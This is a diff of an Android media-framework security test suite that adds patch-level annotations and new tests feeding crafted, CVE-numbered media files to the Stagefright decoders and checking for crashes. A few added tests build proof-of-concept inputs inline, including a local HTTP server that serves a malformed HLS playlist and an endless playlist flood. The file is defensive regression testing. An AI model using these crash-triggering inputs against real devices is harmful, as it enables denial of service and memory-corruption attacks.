      ***********************************************************/
 
-    @SecurityTest
+    @Test
+    @SecurityTest(minPatchLevel = "2018-06")
     public void testBug_73965890() throws Exception {
         int[] frameSizes = getFrameSizes(R.raw.bug_73965890_framelen);
         doStagefrightTestRawBlob(R.raw.bug_73965890_hevc, "video/hevc", 320, 240, frameSizes);
     }
 
-    @SecurityTest
+    @Test
+    @SecurityTest(minPatchLevel = "2016-10")
     public void testStagefright_cve_2016_3920() throws Exception {
         doStagefrightTest(R.raw.cve_2016_3920, new CrashUtils.Config().checkMinAddress(false));
     }
 
-    @SecurityTest
-    public void testStagefright_bug_68953854() throws Exception {
-        doStagefrightTest(R.raw.bug_68953854, 1 * 60 * 1000);
-    }
-
-    @SecurityTest
+    @Test
+    @SecurityTest(minPatchLevel = "2017-09")
     public void testStagefright_bug_38448381() throws Exception {
         doStagefrightTest(R.raw.bug_38448381);
     }
 
-    @SecurityTest
+    @Test
+    @SecurityTest(minPatchLevel = "2016-08")
     public void testStagefright_cve_2016_3821() throws Exception {
         doStagefrightTest(R.raw.cve_2016_3821, new CrashUtils.Config().checkMinAddress(false));
     }
 
-    @SecurityTest
+    @Test
+    @SecurityTest(minPatchLevel = "2018-04")
     public void testStagefright_bug_70897454() throws Exception {
         doStagefrightTestRawBlob(R.raw.b70897454_avc, "video/avc", 320, 420);
     }
 
-    @SecurityTest
+    @Test
+    @SecurityTest(minPatchLevel = "2016-07")
     public void testStagefright_cve_2016_3742_b_28165659() throws Exception {
         doStagefrightTest(R.raw.cve_2016_3742_b_28165659);
     }
 
-    @SecurityTest
+    @Test
+    @SecurityTest(minPatchLevel = "2017-05")
     public void testStagefright_bug_35039946() throws Exception {
         doStagefrightTestRawBlob(R.raw.bug_35039946_hevc, "video/hevc", 320, 420);
     }
 
-    @SecurityTest
+    @Test
+    @SecurityTest(minPatchLevel = "2017-09")
     public void testStagefright_bug_38115076() throws Exception {
         doStagefrightTest(R.raw.bug_38115076, new CrashUtils.Config().checkMinAddress(false));
     }
 
-    @SecurityTest
+    @Test
+    @SecurityTest(minPatchLevel = "2017-05")
     public void testStagefright_bug_34618607() throws Exception {
         doStagefrightTest(R.raw.bug_34618607, new CrashUtils.Config().checkMinAddress(false));
     }
 
-    @SecurityTest
+    @Test
+    @SecurityTest(minPatchLevel = "2018-02")
     public void testStagefright_bug_69478425() throws Exception {
         doStagefrightTest(R.raw.bug_69478425);
     }
 
-    @SecurityTest
+    @Test
+    @SecurityTest(minPatchLevel = "2018-01")
     public void testStagefright_bug_65735716() throws Exception {
         doStagefrightTestRawBlob(R.raw.bug_65735716_avc, "video/avc", 320, 240);
     }
 
-    @SecurityTest
+    @Test
+    @SecurityTest(minPatchLevel = "2017-12")
     public void testStagefright_bug_65717533() throws Exception {
         doStagefrightTest(R.raw.bug_65717533_header_corrupt);
     }
 
-    @SecurityTest
+    @Test
+    @SecurityTest(minPatchLevel = "2017-08")
     public void testStagefright_bug_38239864() throws Exception {
         doStagefrightTest(R.raw.bug_38239864, (4 * 60 * 1000));
     }
 
-    @SecurityTest
+    @Test
+    @SecurityTest(minPatchLevel = "2017-05")
     public void testStagefright_cve_2017_0600() throws Exception {
         doStagefrightTest(R.raw.cve_2017_0600, new CrashUtils.Config().checkMinAddress(false));
     }
 
-    @SecurityTest
+    @Test
+    @SecurityTest(minPatchLevel = "2017-08")
     public void testBug_38014992() throws Exception {
         int[] frameSizes = getFrameSizes(R.raw.bug_38014992_framelen);
         doStagefrightTestRawBlob(R.raw.bug_38014992_avc, "video/avc", 640, 480, frameSizes,
                 new CrashUtils.Config().checkMinAddress(false));
     }
 
-    @SecurityTest
+    @Test
+    @SecurityTest(minPatchLevel = "2017-07")
     public void testBug_35584425() throws Exception {
         int[] frameSizes = getFrameSizes(R.raw.bug_35584425_framelen);
         doStagefrightTestRawBlob(R.raw.bug_35584425_avc, "video/avc", 352, 288, frameSizes);
     }
 
-    @SecurityTest
+    @Test
+    @SecurityTest(minPatchLevel = "2016-11")
     public void testBug_31092462() throws Exception {
         int[] frameSizes = getFrameSizes(R.raw.bug_31092462_framelen);
         doStagefrightTestRawBlob(R.raw.bug_31092462_avc, "video/avc", 1280, 1024, frameSizes);
     }
 
-    @SecurityTest
+    @Test
+    @SecurityTest(minPatchLevel = "2017-04")
     public void testBug_34097866() throws Exception {
         int[] frameSizes = getFrameSizes(R.raw.bug_34097866_frame_len);
         doStagefrightTestRawBlob(R.raw.bug_34097866_avc, "video/avc", 352, 288, frameSizes);
     }
 
-    @SecurityTest
+    @Test
+    @SecurityTest(minPatchLevel = "2017-03")
     public void testBug_33862021() throws Exception {
         int[] frameSizes = getFrameSizes(R.raw.bug_33862021_frame_len);
         doStagefrightTestRawBlob(R.raw.bug_33862021_hevc, "video/hevc", 160, 96, frameSizes);
     }
 
-    @SecurityTest
+    @Test
+    @SecurityTest(minPatchLevel = "2017-03")
     public void testBug_33387820() throws Exception {
         int[] frameSizes = {45, 3202, 430, 2526};
         doStagefrightTestRawBlob(R.raw.bug_33387820_avc, "video/avc", 320, 240, frameSizes,
                 new CrashUtils.Config().checkMinAddress(false));
     }
 
-    @SecurityTest
+    @Test
+    @SecurityTest(minPatchLevel = "2017-07")
     public void testBug_37008096() throws Exception {
         int[] frameSizes = {245, 12, 33, 140, 164};
         doStagefrightTestRawBlob(R.raw.bug_37008096_avc, "video/avc", 320, 240, frameSizes);
     }
 
-    @SecurityTest
+    @Test
+    @SecurityTest(minPatchLevel = "2017-07")
     public void testStagefright_bug_34231163() throws Exception {
         int[] frameSizes = {22, 357, 217, 293, 175};
         doStagefrightTestRawBlob(R.raw.bug_34231163_mpeg2, "video/mpeg2", 320, 240, frameSizes);
     }
 
-    @SecurityTest
+    @Test
+    @SecurityTest(minPatchLevel = "2017-04")
     public void testStagefright_bug_33933140() throws Exception {
         int[] frameSizes = getFrameSizes(R.raw.bug_33933140_framelen);
         doStagefrightTestRawBlob(R.raw.bug_33933140_avc, "video/avc", 320, 240, frameSizes);
     }
 
-    @SecurityTest
+    @Test
+    @SecurityTest(minPatchLevel = "2017-04")
     public void testStagefright_bug_34097915() throws Exception {
         int[] frameSizes = {4140, 593, 0, 15495};
         doStagefrightTestRawBlob(R.raw.bug_34097915_avc, "video/avc", 320, 240, frameSizes);
     }
 
-    @SecurityTest
+    @Test
+    @SecurityTest(minPatchLevel = "2017-03")
     public void testStagefright_bug_34097213() throws Exception {
         int[] frameSizes = {2571, 210, 33858};
         doStagefrightTestRawBlob(R.raw.bug_34097213_avc, "video/avc", 320, 240, frameSizes);
     }
 
-    @SecurityTest
+    @Test
+    @SecurityTest(minPatchLevel = "2016-08")
     public void testBug_28816956() throws Exception {
         int[] frameSizes = getFrameSizes(R.raw.bug_28816956_framelen);
-        doStagefrightTestRawBlob(R.raw.bug_28816956_hevc, "video/hevc", 352, 288, frameSizes,
-                new CrashUtils.Config().checkMinAddress(false));
+        doStagefrightTestRawBlob(
+                R.raw.bug_28816956_hevc, "video/hevc", 352, 288, frameSizes,
+                    new CrashUtils.Config().checkMinAddress(false));
     }
 
-    @SecurityTest
+    @Test
+    @SecurityTest(minPatchLevel = "2017-03")
     public void testBug_33818500() throws Exception {
         int[] frameSizes = getFrameSizes(R.raw.bug_33818500_framelen);
         doStagefrightTestRawBlob(R.raw.bug_33818500_avc, "video/avc", 64, 32, frameSizes,
                 new CrashUtils.Config().checkMinAddress(false));
     }
 
-    @SecurityTest
+    @Test
+    @SecurityTest(minPatchLevel = "2018-01")
     public void testBug_64784973() throws Exception {
         int[] frameSizes = getFrameSizes(R.raw.bug_64784973_framelen);
         doStagefrightTestRawBlob(R.raw.bug_64784973_hevc, "video/hevc", 1280, 720, frameSizes);
     }
 
-    @SecurityTest
+    @Test
+    @SecurityTest(minPatchLevel = "2017-07")
     public void testBug_34231231() throws Exception {
         int[] frameSizes = getFrameSizes(R.raw.bug_34231231_framelen);
         doStagefrightTestRawBlob(R.raw.bug_34231231_mpeg2, "video/mpeg2", 352, 288, frameSizes);
     }
 
-    @SecurityTest
+    @Test
+    @SecurityTest(minPatchLevel = "2017-10")
     public void testBug_63045918() throws Exception {
         int[] frameSizes = getFrameSizes(R.raw.bug_63045918_framelen);
         doStagefrightTestRawBlob(R.raw.bug_63045918_hevc, "video/hevc", 352, 288, frameSizes);
     }
 
-    @SecurityTest
+    @Test
+    @SecurityTest(minPatchLevel = "2017-03")
     public void testBug_33298089() throws Exception {
         int[] frameSizes = {3247, 430, 221, 2305};
         doStagefrightTestRawBlob(R.raw.bug_33298089_avc, "video/avc", 32, 64, frameSizes);
     }
 
-    @SecurityTest
+    @Test
+    @SecurityTest(minPatchLevel = "2017-05")
     public void testStagefright_cve_2017_0599() throws Exception {
         doStagefrightTest(R.raw.cve_2017_0599, new CrashUtils.Config().checkMinAddress(false));
     }
 
-    @SecurityTest
+    @Test
+    @SecurityTest(minPatchLevel = "2017-09")
     public void testStagefright_bug_36492741() throws Exception {
         doStagefrightTest(R.raw.bug_36492741);
     }
 
-    @SecurityTest
+    @Test
+    @SecurityTest(minPatchLevel = "2017-08")
     public void testStagefright_bug_38487564() throws Exception {
         doStagefrightTest(R.raw.bug_38487564, (4 * 60 * 1000));
     }
 
-    @SecurityTest
+    @Test
+    @SecurityTest(minPatchLevel = "2017-09")
     public void testStagefright_bug_37237396() throws Exception {
         doStagefrightTest(R.raw.bug_37237396);
     }
 
-    @SecurityTest
+    @Test
+    @SecurityTest(minPatchLevel = "2017-09")
     public void testStagefright_cve_2016_0842() throws Exception {
         doStagefrightTest(R.raw.cve_2016_0842);
     }
 
-    @SecurityTest
+    @Test
+    @SecurityTest(minPatchLevel = "2017-11")
     public void testStagefright_bug_63121644() throws Exception {
         doStagefrightTest(R.raw.bug_63121644);
     }
 
-    @SecurityTest
+    @Test
+    @SecurityTest(minPatchLevel = "2017-09")
     public void testStagefright_cve_2016_6712() throws Exception {
         doStagefrightTest(R.raw.cve_2016_6712, new CrashUtils.Config().checkMinAddress(false));
     }
 
-    @SecurityTest
+    @Test
+    @SecurityTest(minPatchLevel = "2017-04")
     public void testStagefright_bug_34097231() throws Exception {
         doStagefrightTestRawBlob(R.raw.bug_34097231_avc, "video/avc", 320, 240);
     }
 
-    @SecurityTest
+    @Test
+    @SecurityTest(minPatchLevel = "2017-05")
     public void testStagefright_bug_34097672() throws Exception {
         doStagefrightTest(R.raw.bug_34097672);
     }
 
 
-    @SecurityTest
+    @Test
+    @SecurityTest(minPatchLevel = "2017-03")
     public void testStagefright_bug_33751193() throws Exception {
         doStagefrightTestRawBlob(R.raw.bug_33751193_avc, "video/avc", 320, 240);
     }
 
-    @SecurityTest
+    @Test
+    @SecurityTest(minPatchLevel = "2017-07")
     public void testBug_36993291() throws Exception {
         doStagefrightTestRawBlob(R.raw.bug_36993291_avc, "video/avc", 320, 240);
     }
 
-    @SecurityTest
+    @Test
+    @SecurityTest(minPatchLevel = "2017-06")
     public void testStagefright_bug_33818508() throws Exception {
         doStagefrightTest(R.raw.bug_33818508, new CrashUtils.Config().checkMinAddress(false));
     }
 
-    @SecurityTest
+    @Test
+    @SecurityTest(minPatchLevel = "2017-08")
     public void testStagefright_bug_32873375() throws Exception {
         doStagefrightTest(R.raw.bug_32873375, new CrashUtils.Config().checkMinAddress(false));
     }
 
-    @SecurityTest
+    @Test
+    @SecurityTest(minPatchLevel = "2018-02")
+    public void testStagefright_bug_63522067() throws Exception {
+        doStagefrightTestRawBlob(R.raw.bug_63522067_1_hevc, "video/hevc", 320, 420);
+        doStagefrightTestRawBlob(R.raw.bug_63522067_2_hevc, "video/hevc", 320, 420);
+        doStagefrightTestRawBlob(R.raw.bug_63522067_3_hevc, "video/hevc", 320, 420);
+        doStagefrightTestRawBlob(R.raw.bug_63522067_4_hevc, "video/hevc", 320, 420);
+    }
+
+    @Test
+    @SecurityTest(minPatchLevel = "2016-03")
     public void testStagefright_bug_25765591() throws Exception {
         doStagefrightTest(R.raw.bug_25765591);
     }
 
-    @SecurityTest
+    @Test
+    @SecurityTest(minPatchLevel = "2017-09")
     public void testStagefright_bug_62673179() throws Exception {
         doStagefrightTest(R.raw.bug_62673179_ts, (4 * 60 * 1000));
     }
 
-    @SecurityTest
+    @Test
+    @SecurityTest(minPatchLevel = "2018-03")
     public void testStagefright_bug_69269702() throws Exception {
         doStagefrightTest(R.raw.bug_69269702);
     }
 
-    @SecurityTest
+    @Test
+    @SecurityTest(minPatchLevel = "2015-10")
     public void testStagefright_cve_2015_3867() throws Exception {
         doStagefrightTest(R.raw.cve_2015_3867);
     }
 
-    @SecurityTest
+    @Test
+    @SecurityTest(minPatchLevel = "2018-01")
     public void testStagefright_bug_65398821() throws Exception {
         doStagefrightTest(R.raw.bug_65398821, ( 4 * 60 * 1000 ) );
     }
 
-    @SecurityTest
+    @Test
+    @SecurityTest(minPatchLevel = "2015-10")
     public void testStagefright_cve_2015_3869() throws Exception {
         doStagefrightTest(R.raw.cve_2015_3869);
     }
 
-    @SecurityTest
+    @Test
+    @SecurityTest(minPatchLevel = "2016-03")
     public void testStagefright_bug_23452792() throws Exception {
         doStagefrightTest(R.raw.bug_23452792);
     }
 
-    @SecurityTest
+    @Test
+    @SecurityTest(minPatchLevel = "2016-08")
     public void testStagefright_cve_2016_3820() throws Exception {
         doStagefrightTest(R.raw.cve_2016_3820);
     }
 
-    @SecurityTest
+    @Test
+    @SecurityTest(minPatchLevel = "2016-07")
     public void testStagefright_cve_2016_3741() throws Exception {
         doStagefrightTest(R.raw.cve_2016_3741);
     }
 
-    @SecurityTest
+    @Test
+    @SecurityTest(minPatchLevel = "2016-07")
     public void testStagefright_cve_2016_2506() throws Exception {
         doStagefrightTest(R.raw.cve_2016_2506);
     }
 
-    @SecurityTest
+    @Test
+    @SecurityTest(minPatchLevel = "2016-06")
     public void testStagefright_cve_2016_2428() throws Exception {
         doStagefrightTest(R.raw.cve_2016_2428, new CrashUtils.Config().checkMinAddress(false));
     }
 
-    @SecurityTest
+    @Test
+    @SecurityTest(minPatchLevel = "2016-07")
+    public void testStagefright_cve_2016_3756() throws Exception {
+        doStagefrightTest(R.raw.cve_2016_3756);
+    }
+
+    @Test
+    @SecurityTest(minPatchLevel = "2017-07")
+    public void testStagefright_bug_36592202() throws Exception {
+        Resources resources = getInstrumentation().getContext().getResources();
+        AssetFileDescriptor fd = resources.openRawResourceFd(R.raw.bug_36592202);
+        final int oggPageSize = 25627;
+        byte [] blob = new byte[oggPageSize];
+        // 127 bytes read and 25500 zeros constitute one Ogg page
+        FileInputStream fis = fd.createInputStream();
+        int numRead = fis.read(blob);
+        fis.close();
+        // Creating temp file
+        final File tempFile = File.createTempFile("poc_tmp", ".ogg", null);
+        try {
+            final FileOutputStream tempFos = new FileOutputStream(tempFile.getAbsolutePath());
+            int bytesWritten = 0;
+            final long oggPagesRequired = 50000;
+            long oggPagesAvailable = tempFile.getUsableSpace() / oggPageSize;
+            long numOggPages = Math.min(oggPagesRequired, oggPagesAvailable);
+            // Repeat data for specified number of pages
+            for (int i = 0; i < numOggPages; i++) {
+                tempFos.write(blob);
+                bytesWritten += oggPageSize;
+            }
+            tempFos.close();
+            final int fileSize = bytesWritten;
+            final int timeout = (10 * 60 * 1000);
+            runWithTimeout(new Runnable() {
+                @Override
+                public void run() {
+                    try {
+                        doStagefrightTestMediaCodec(tempFile.getAbsolutePath(),
+                                new CrashUtils.Config().checkMinAddress(false));
+                    } catch (Exception | AssertionError e) {
+                        if (!tempFile.delete()) {
+                            Log.e(TAG, "Failed to delete temporary PoC file");
+                        }
+                        fail("Operation was not successful");
+                    }
+                }
+            }, timeout);
+        } catch (Exception e) {
+            fail("Failed to test b/36592202");
+        } finally {
+            if (!tempFile.delete()) {
+                Log.e(TAG, "Failed to delete temporary PoC file");
+            }
+        }
+    }
+
+    @Test
+    @SecurityTest(minPatchLevel = "2016-11")
     public void testStagefright_bug_30822755() throws Exception {
         doStagefrightTest(R.raw.bug_30822755);
     }
 
-    @SecurityTest
+    @Test
+    @SecurityTest(minPatchLevel = "2017-06")
     public void testStagefright_bug_32322258() throws Exception {
         doStagefrightTest(R.raw.bug_32322258, new CrashUtils.Config().checkMinAddress(false));
     }
 
-    @SecurityTest
+    @Test
+    @SecurityTest(minPatchLevel = "2015-10")
     public void testStagefright_cve_2015_3873_b_23248776() throws Exception {
         doStagefrightTest(R.raw.cve_2015_3873_b_23248776);
     }
 
-    @SecurityTest
+    @Test
+    @SecurityTest(minPatchLevel = "2017-06")
     public void testStagefright_bug_35472997() throws Exception {
         doStagefrightTest(R.raw.bug_35472997);
     }
 
-    @SecurityTest
+    @Test
+    @SecurityTest(minPatchLevel = "2015-10")
     public void testStagefright_cve_2015_3873_b_20718524() throws Exception {
         doStagefrightTest(R.raw.cve_2015_3873_b_20718524);
     }
 
-    @SecurityTest
+    @Test
+    @SecurityTest(minPatchLevel = "2017-07")
     public void testStagefright_bug_34896431() throws Exception {
         doStagefrightTest(R.raw.bug_34896431);
     }
 
-    @SecurityTest
+    @Test
+    @SecurityTest(minPatchLevel = "2017-04")
     public void testBug_33641588() throws Exception {
         doStagefrightTestRawBlob(R.raw.bug_33641588_avc, "video/avc", 320, 240);
     }
 
-    @SecurityTest
+    @Test
+    @SecurityTest(minPatchLevel = "2015-10")
     public void testStagefright_cve_2015_3862_b_22954006() throws Exception {
         doStagefrightTest(R.raw.cve_2015_3862_b_22954006,
                 new CrashUtils.Config().checkMinAddress(false));
     }
 
-    @SecurityTest
+    @Test
+    @SecurityTest(minPatchLevel = "2015-10")
     public void testStagefright_cve_2015_3867_b_23213430() throws Exception {
         doStagefrightTest(R.raw.cve_2015_3867_b_23213430);
     }
 
-    @SecurityTest
+    @Test
+    @SecurityTest(minPatchLevel = "2015-10")
     public void testStagefright_cve_2015_3873_b_21814993() throws Exception {
         doStagefrightTest(R.raw.cve_2015_3873_b_21814993);
     }
 
-    @SecurityTest
+    @Test
+    @SecurityTest(minPatchLevel = "2016-04")
     public void testStagefright_bug_25812590() throws Exception {
         doStagefrightTest(R.raw.bug_25812590);
     }
 
+    @Test
+    @SecurityTest(minPatchLevel = "2015-10")
     public void testStagefright_cve_2015_6600() throws Exception {
         doStagefrightTest(R.raw.cve_2015_6600);
     }
 
+    @Test
+    @SecurityTest(minPatchLevel = "2015-10")
     public void testStagefright_cve_2015_6603() throws Exception {
         doStagefrightTest(R.raw.cve_2015_6603);
     }
 
+    @Test
+    @SecurityTest(minPatchLevel = "2015-10")
     public void testStagefright_cve_2015_6604() throws Exception {
         doStagefrightTest(R.raw.cve_2015_6604);
     }
 
-    @SecurityTest
+    @Test
+    @SecurityTest(minPatchLevel = "2015-12")
     public void testStagefright_bug_24157524() throws Exception {
-        doStagefrightTest(R.raw.bug_24157524);
+        doStagefrightTestMediaCodec(R.raw.bug_24157524);
     }
 
-    @SecurityTest
+    @Test
+    @SecurityTest(minPatchLevel = "2015-10")
     public void testStagefright_cve_2015_3871() throws Exception {
         doStagefrightTest(R.raw.cve_2015_3871);
     }
 
+    @Test
+    @SecurityTest(minPatchLevel = "2016-04")
     public void testStagefright_bug_26070014() throws Exception {
         doStagefrightTest(R.raw.bug_26070014);
     }
 
+    @Test
+    @SecurityTest(minPatchLevel = "2017-03")
     public void testStagefright_bug_32915871() throws Exception {
         doStagefrightTest(R.raw.bug_32915871);
     }
 
-    @SecurityTest
+    @Test
+    @SecurityTest(minPatchLevel = "2016-07")
     public void testStagefright_bug_28333006() throws Exception {
         doStagefrightTest(R.raw.bug_28333006);
     }
 
-    @SecurityTest
+    @Test
+    @SecurityTest(minPatchLevel = "2015-11")
     public void testStagefright_bug_14388161() throws Exception {
         doStagefrightTestMediaPlayer(R.raw.bug_14388161);
     }
 
-    @SecurityTest
+    @Test
+    @SecurityTest(minPatchLevel = "2016-07")
     public void testStagefright_cve_2016_3755() throws Exception {
         doStagefrightTest(R.raw.cve_2016_3755, new CrashUtils.Config().checkMinAddress(false));
     }
 
-    @SecurityTest
+    @Test
+    @SecurityTest(minPatchLevel = "2016-09")
     public void testStagefright_cve_2016_3878_b_29493002() throws Exception {
         doStagefrightTest(R.raw.cve_2016_3878_b_29493002,
                 new CrashUtils.Config().checkMinAddress(false));
     }
 
-    @SecurityTest
+    @Test
+    @SecurityTest(minPatchLevel = "2017-08")
     public void testBug_36819262() throws Exception {
         doStagefrightTestRawBlob(R.raw.bug_36819262_mpeg2, "video/mpeg2", 640, 480);
     }
 
-    @SecurityTest
+    @Test
+    @SecurityTest(minPatchLevel = "2015-11")
     public void testStagefright_cve_2015_6608_b_23680780() throws Exception {
         doStagefrightTest(R.raw.cve_2015_6608_b_23680780);
     }
 
-    @SecurityTest
+    @Test
+    @SecurityTest(minPatchLevel = "2017-09")
     public void testStagefright_bug_36715268() throws Exception {
         doStagefrightTest(R.raw.bug_36715268);
     }
 
-    @SecurityTest
+    @Test
+    @SecurityTest(minPatchLevel = "2016-06")
     public void testStagefright_bug_27855419_CVE_2016_2463() throws Exception {
         doStagefrightTest(R.raw.bug_27855419, new CrashUtils.Config().checkMinAddress(false));
     }
 
+    @Test
+    @SecurityTest(minPatchLevel = "2015-11")
     public void testStagefright_bug_19779574() throws Exception {
         doStagefrightTest(R.raw.bug_19779574, new CrashUtils.Config().checkMinAddress(false));
     }
@@ -741,38 +961,289 @@
      before any existing test methods
      ***********************************************************/
 
-    @SecurityTest
+    @Test
+    @SecurityTest(minPatchLevel = "2017-03")
+    public void testBug_33090864() throws Exception {
+        int[] frameSizes = getFrameSizes(R.raw.bug_33090864_framelen);
+        doStagefrightTestRawBlob(R.raw.bug_33090864_avc, "video/avc", 320, 240, frameSizes);
+    }
+
+    @Test
+    @SecurityTest(minPatchLevel = "2017-07")
+    public void testStagefright_bug_36279112() throws Exception {
+        doStagefrightTest(R.raw.bug_36279112, new CrashUtils.Config().checkMinAddress(false));
+    }
+
+    @Test
+    @SecurityTest(minPatchLevel = "2017-06")
+    public void testStagefright_cve_2017_0640() throws Exception {
+        int[] frameSizes = {21, 4};
+        doStagefrightTestRawBlob(R.raw.cve_2017_0640_avc, "video/avc", 640, 480,
+                frameSizes);
+    }
+
+    @Test
+    @SecurityTest(minPatchLevel = "2017-08")
+    public void testBug_37203196() throws Exception {
+        int[] frameSizes = getFrameSizes(R.raw.bug_37203196_framelen);
+        doStagefrightTestRawBlob(R.raw.bug_37203196_mpeg2, "video/mpeg2", 48, 48, frameSizes);
+    }
+
+    @Test
+    @SecurityTest(minPatchLevel = "2018-06")
     public void testBug_73552574() throws Exception {
         int[] frameSizes = getFrameSizes(R.raw.bug_73552574_framelen);
         doStagefrightTestRawBlob(R.raw.bug_73552574_avc, "video/avc", 320, 240, frameSizes);
     }
 
-    @SecurityTest
+    @Test
+    @SecurityTest(minPatchLevel = "2015-09")
+    public void testStagefright_bug_23285192() throws Exception {
+        doStagefrightTest(R.raw.bug_23285192);
+    }
+
+    @Test
+    @SecurityTest(minPatchLevel = "2016-03")
+    public void testStagefright_bug_25928803() throws Exception {
+        doStagefrightTest(R.raw.bug_25928803);
+    }
+
+    @Test
+    @SecurityTest(minPatchLevel = "2016-04")
+    public void testBug_26399350() throws Exception {
+        int[] frameSizes = {657, 54930};
+        doStagefrightTestRawBlob(R.raw.bug_26399350_avc, "video/avc", 640, 480,
+                frameSizes);
+    }
+
+    @Test
+    @SecurityTest(minPatchLevel = "2018-12")
+    public void testBug_113260892() throws Exception {
+        doStagefrightTestRawBlob(R.raw.bug_113260892_hevc, "video/hevc", 320, 240);
+    }
+
+    @Test
+    @SecurityTest(minPatchLevel = "2018-02")
+    public void testStagefright_bug_68342866() throws Exception {
+        Thread server = new Thread() {
+            @Override
+            public void run() {
+                try (ServerSocket serverSocket = new ServerSocket(8080) {
+                        {setSoTimeout(10_000);} // time out after 10 seconds
+                    };
+                    Socket conn = serverSocket.accept();
+                ) {
+                    OutputStream outputstream = conn.getOutputStream();
+                    InputStream inputStream = conn.getInputStream();
+                    byte input[] = new byte[65536];
+                    inputStream.read(input, 0, 65536);
+                    String inputStr = new String(input);
+                    if (inputStr.contains("bug_68342866.m3u8")) {
+                        byte http[] = ("HTTP/1.0 200 OK\r\nContent-Type: application/x-mpegURL\r\n\r\n")
+                                .getBytes();
+                        byte playlist[] = new byte[] { 0x23, 0x45, 0x58, 0x54,
+                                0x4D, 0x33, 0x55, 0x0A, 0x23, 0x45, 0x58, 0x54,
+                                0x2D, 0x58, 0x2D, 0x53, 0x54, 0x52, 0x45, 0x41,
+                                0x4D, 0x2D, 0x49, 0x4E, 0x46, 0x46, 0x43, 0x23,
+                                0x45, 0x3A, 0x54, 0x42, 0x00, 0x00, 0x00, 0x0A,
+                                0x00, 0x00, 0x00, 0x00, 0x00, (byte) 0xFF,
+                                (byte) 0xFF, (byte) 0xFF, (byte) 0xFF,
+                                (byte) 0xFF, (byte) 0xFF, 0x3F, 0x2C, 0x4E,
+                                0x46, 0x00, 0x00 };
+                        outputstream.write(http);
+                        outputstream.write(playlist);
+                    }
+                } catch (IOException e) {
+                }
+            }
+        };
+        server.start();
+        String uri = "http://127.0.0.1:8080/bug_68342866.m3u8";
+        final MediaPlayerCrashListener mpcl =
+                new MediaPlayerCrashListener(new CrashUtils.Config().checkMinAddress(false));
+        LooperThread t = new LooperThread(new Runnable() {
+            @Override
+            public void run() {
+                MediaPlayer mp = new MediaPlayer();
+                mp.setOnErrorListener(mpcl);
+                mp.setOnPreparedListener(mpcl);
+                mp.setOnCompletionListener(mpcl);
+                Surface surface = getDummySurface();
+                mp.setSurface(surface);
+                AssetFileDescriptor fd = null;
+                try {
+                    mp.setDataSource(uri);
+                    mp.prepareAsync();
+                } catch (IOException e) {
+                    Log.e(TAG, e.toString());
+                } finally {
+                    closeQuietly(fd);
+                }
+                Looper.loop();
+                mp.release();
+            }
+        });
+        t.start();
+        assertFalse("Device *IS* vulnerable to BUG-68342866",
+                mpcl.waitForError() == MediaPlayer.MEDIA_ERROR_SERVER_DIED);
+        t.stopLooper();
+        t.join();
+        server.join();
+    }
+
+    @Test
+    @SecurityTest(minPatchLevel = "2018-05")
+    public void testStagefright_bug_74114680() throws Exception {
+        doStagefrightTest(R.raw.bug_74114680_ts, (10 * 60 * 1000));
+    }
+
+    @Test
+    @SecurityTest(minPatchLevel = "2018-03")
+    public void testStagefright_bug_70239507() throws Exception {
+        doStagefrightTestExtractorSeek(R.raw.bug_70239507,1311768465173141112L);
+    }
+
+    @Test
+    @SecurityTest(minPatchLevel = "2017-03")
+    public void testBug_33250932() throws Exception {
+    int[] frameSizes = {65, 11, 102, 414};
+    doStagefrightTestRawBlob(R.raw.bug_33250932_avc, "video/avc", 640, 480, frameSizes);
+    }
+
+    @Test
+    @SecurityTest(minPatchLevel = "2017-08")
+    public void testStagefright_bug_37430213() throws Exception {
+    doStagefrightTest(R.raw.bug_37430213);
+    }
+
+    @Test
+    @SecurityTest(minPatchLevel = "2018-11")
+    public void testStagefright_bug_68664359() throws Exception {
+        doStagefrightTest(R.raw.bug_68664359, 60000);
+    }
+
+    @Test
+    @SecurityTest(minPatchLevel = "2018-11")
+    public void testStagefright_bug_110435401() throws Exception {
+        doStagefrightTest(R.raw.bug_110435401, 60000);
+    }
+
+    @Test
+    @SecurityTest(minPatchLevel = "2017-03")
     public void testStagefright_cve_2017_0474() throws Exception {
         doStagefrightTest(R.raw.cve_2017_0474, 120000);
     }
 
-    @SecurityTest
+    @Test
+    @SecurityTest(minPatchLevel = "2017-09")
     public void testStagefright_cve_2017_0765() throws Exception {
         doStagefrightTest(R.raw.cve_2017_0765);
     }
 
-    @SecurityTest
+    @Test
+    @SecurityTest(minPatchLevel = "2018-04")
+    public void testStagefright_cve_2017_13279() throws Exception {
+      Thread server = new Thread() {
+        @Override
+        public void run(){
+          try (ServerSocket serverSocket = new ServerSocket(8080) {
+                  {setSoTimeout(10_000);} // time out after 10 seconds
+              };
+              Socket conn = serverSocket.accept()
+          ) {
+              OutputStream stream = conn.getOutputStream();
+              byte http[] = ("HTTP/1.0 200 OK\r\nContent-Type: application/x-mpegURL\r\n\r\n"
+                           + "#EXTM3U\n#EXT-X-STREAM-INF:\n").getBytes();
+              stream.write(http);
+              while(!conn.isClosed())
+                stream.write(("a\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\n"
+                    + "a\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\n"
+                    + "a\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\n"
+                    + "a\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\n"
+                    + "a\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\n"
+                    + "a\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\n"
+                    + "a\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\n"
+                    + "a\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\n"
+                    + "a\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\n"
+                    + "a\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\n"
+                    + "a\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\n"
+                    + "a\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\n"
+                    + "a\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\n"
+                    + "a\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\n"
